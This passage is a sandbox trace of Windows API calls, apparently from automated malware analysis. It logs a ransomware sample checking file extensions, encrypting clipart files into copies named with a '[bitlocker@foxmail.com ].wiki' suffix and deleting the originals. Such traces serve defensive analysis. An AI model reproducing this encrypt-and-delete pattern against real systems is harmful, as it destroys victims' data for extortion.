(lpString=".7z") returned 3 [0191.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.056] lstrlenW (lpString=".dbf") returned 4 [0191.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.057] lstrlenW (lpString=".1cd") returned 4 [0191.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.057] lstrlenW (lpString=".jpg") returned 4 [0191.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.057] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.057] lstrlenW (lpString="J0099167.JPG") returned 12 [0191.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.057] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=43949) returned 1 [0191.057] CloseHandle (hObject=0x1e4) returned 1 [0191.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0191.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.058] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.058] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.058] GetLastError () returned 0x0 [0191.058] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xabad, lpOverlapped=0x0) returned 1 [0191.061] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0191.063] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.063] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.063] SetEndOfFile (hFile=0x1d8) returned 1 [0191.063] CloseHandle (hObject=0x1d8) returned 1 [0191.063] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.063] SetEndOfFile (hFile=0x1e4) returned 1 [0191.064] CloseHandle (hObject=0x1e4) returned 1 [0191.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0191.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.065] lstrlenW (lpString=".doc") returned 4 [0191.065] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.065] lstrlenW (lpString=".docx") returned 5 [0191.065] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0191.065] lstrlenW (lpString=".pdf") returned 4 [0191.065] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.065] lstrlenW (lpString=".xls") returned 4 [0191.065] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.065] lstrlenW (lpString=".xlsx") returned 5 [0191.065] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0191.065] lstrlenW (lpString=".ppt") returned 4 [0191.065] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.065] lstrlenW (lpString=".zip") returned 4 [0191.065] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.065] lstrlenW (lpString=".rar") returned 4 [0191.065] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.065] lstrlenW (lpString=".bz2") returned 4 [0191.065] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.065] lstrlenW (lpString=".7z") returned 3 [0191.065] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.065] lstrlenW (lpString=".dbf") returned 4 [0191.065] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.066] lstrlenW (lpString=".1cd") returned 4 [0191.066] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.066] lstrlenW (lpString=".jpg") returned 4 [0191.066] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.066] lstrlenW (lpString=".doc") returned 4 [0191.066] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.066] lstrlenW (lpString=".docx") returned 5 [0191.066] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0191.066] lstrlenW (lpString=".pdf") returned 4 [0191.066] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.066] lstrlenW (lpString=".xls") returned 4 [0191.066] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.066] lstrlenW (lpString=".xlsx") returned 5 [0191.066] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0191.066] lstrlenW (lpString=".ppt") returned 4 [0191.066] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.066] lstrlenW (lpString=".zip") returned 4 [0191.066] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.066] lstrlenW (lpString=".rar") returned 4 [0191.066] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.066] lstrlenW (lpString=".bz2") returned 4 [0191.066] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.066] lstrlenW (lpString=".7z") returned 3 [0191.066] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.067] lstrlenW (lpString=".dbf") returned 4 [0191.067] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.067] lstrlenW (lpString=".1cd") returned 4 [0191.067] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0191.067] lstrlenW (lpString=".jpg") returned 4 [0191.067] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.067] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.067] lstrlenW (lpString="J0099168.JPG") returned 12 [0191.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.067] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20179) returned 1 [0191.067] CloseHandle (hObject=0x1e4) returned 1 [0191.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0191.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.068] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.068] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0191.068] GetLastError () returned 0x0 [0191.068] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0191.091] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0191.256] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.256] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.256] SetEndOfFile (hFile=0x1d8) returned 1 [0191.314] CloseHandle (hObject=0x1d8) returned 1 [0191.314] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.314] SetEndOfFile (hFile=0x1e4) returned 1 [0191.315] CloseHandle (hObject=0x1e4) returned 1 [0191.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0191.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.322] lstrlenW (lpString=".doc") returned 4 [0191.323] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.323] lstrlenW (lpString=".docx") returned 5 [0191.323] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0191.323] lstrlenW (lpString=".pdf") returned 4 [0191.323] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.323] lstrlenW (lpString=".xls") returned 4 [0191.323] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.323] lstrlenW (lpString=".xlsx") returned 5 [0191.323] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0191.323] lstrlenW (lpString=".ppt") returned 4 [0191.323] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.323] lstrlenW (lpString=".zip") returned 4 [0191.323] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.323] lstrlenW (lpString=".rar") returned 4 [0191.323] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.323] lstrlenW (lpString=".bz2") returned 4 [0191.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.323] lstrlenW (lpString=".7z") returned 3 [0191.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.323] lstrlenW (lpString=".dbf") returned 4 [0191.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.323] lstrlenW (lpString=".1cd") returned 4 [0191.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.323] lstrlenW (lpString=".jpg") returned 4 [0191.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString=".doc") returned 4 [0191.324] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.324] lstrlenW (lpString=".docx") returned 5 [0191.324] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0191.324] lstrlenW (lpString=".pdf") returned 4 [0191.324] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.324] lstrlenW (lpString=".xls") returned 4 [0191.324] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.324] lstrlenW (lpString=".xlsx") returned 5 [0191.324] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0191.324] lstrlenW (lpString=".ppt") returned 4 [0191.324] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString=".zip") returned 4 [0191.324] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.324] lstrlenW (lpString=".rar") returned 4 [0191.324] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.324] lstrlenW (lpString=".bz2") returned 4 [0191.324] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.324] lstrlenW (lpString=".7z") returned 3 [0191.324] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString=".dbf") returned 4 [0191.324] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString=".1cd") returned 4 [0191.324] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0191.324] lstrlenW (lpString=".jpg") returned 4 [0191.324] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.325] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.325] lstrlenW (lpString="J0099177.WMF") returned 12 [0191.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.335] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5386) returned 1 [0191.335] CloseHandle (hObject=0x1f8) returned 1 [0191.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0191.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.335] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.335] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0191.335] GetLastError () returned 0x0 [0191.336] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x150a, lpOverlapped=0x0) returned 1 [0191.368] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0191.377] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.377] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.384] SetEndOfFile (hFile=0x1c8) returned 1 [0191.384] CloseHandle (hObject=0x1c8) returned 1 [0191.384] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.384] SetEndOfFile (hFile=0x1f8) returned 1 [0191.385] CloseHandle (hObject=0x1f8) returned 1 [0191.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0191.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.391] lstrlenW (lpString=".doc") returned 4 [0191.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.391] lstrlenW (lpString=".docx") returned 5 [0191.391] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0191.391] lstrlenW (lpString=".pdf") returned 4 [0191.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.391] lstrlenW (lpString=".xls") returned 4 [0191.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.391] lstrlenW (lpString=".xlsx") returned 5 [0191.391] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0191.391] lstrlenW (lpString=".ppt") returned 4 [0191.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.391] lstrlenW (lpString=".zip") returned 4 [0191.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.391] lstrlenW (lpString=".rar") returned 4 [0191.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.391] lstrlenW (lpString=".bz2") returned 4 [0191.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.391] lstrlenW (lpString=".7z") returned 3 [0191.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".dbf") returned 4 [0191.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".1cd") returned 4 [0191.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".jpg") returned 4 [0191.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".doc") returned 4 [0191.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString=".docx") returned 5 [0191.392] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0191.392] lstrlenW (lpString=".pdf") returned 4 [0191.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString=".xls") returned 4 [0191.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.392] lstrlenW (lpString=".xlsx") returned 5 [0191.392] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0191.392] lstrlenW (lpString=".ppt") returned 4 [0191.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".zip") returned 4 [0191.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.392] lstrlenW (lpString=".rar") returned 4 [0191.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString=".bz2") returned 4 [0191.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.392] lstrlenW (lpString=".7z") returned 3 [0191.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.392] lstrlenW (lpString=".dbf") returned 4 [0191.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.393] lstrlenW (lpString=".1cd") returned 4 [0191.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0191.393] lstrlenW (lpString=".jpg") returned 4 [0191.393] lstrcmpiW (lpString1=".jpg", 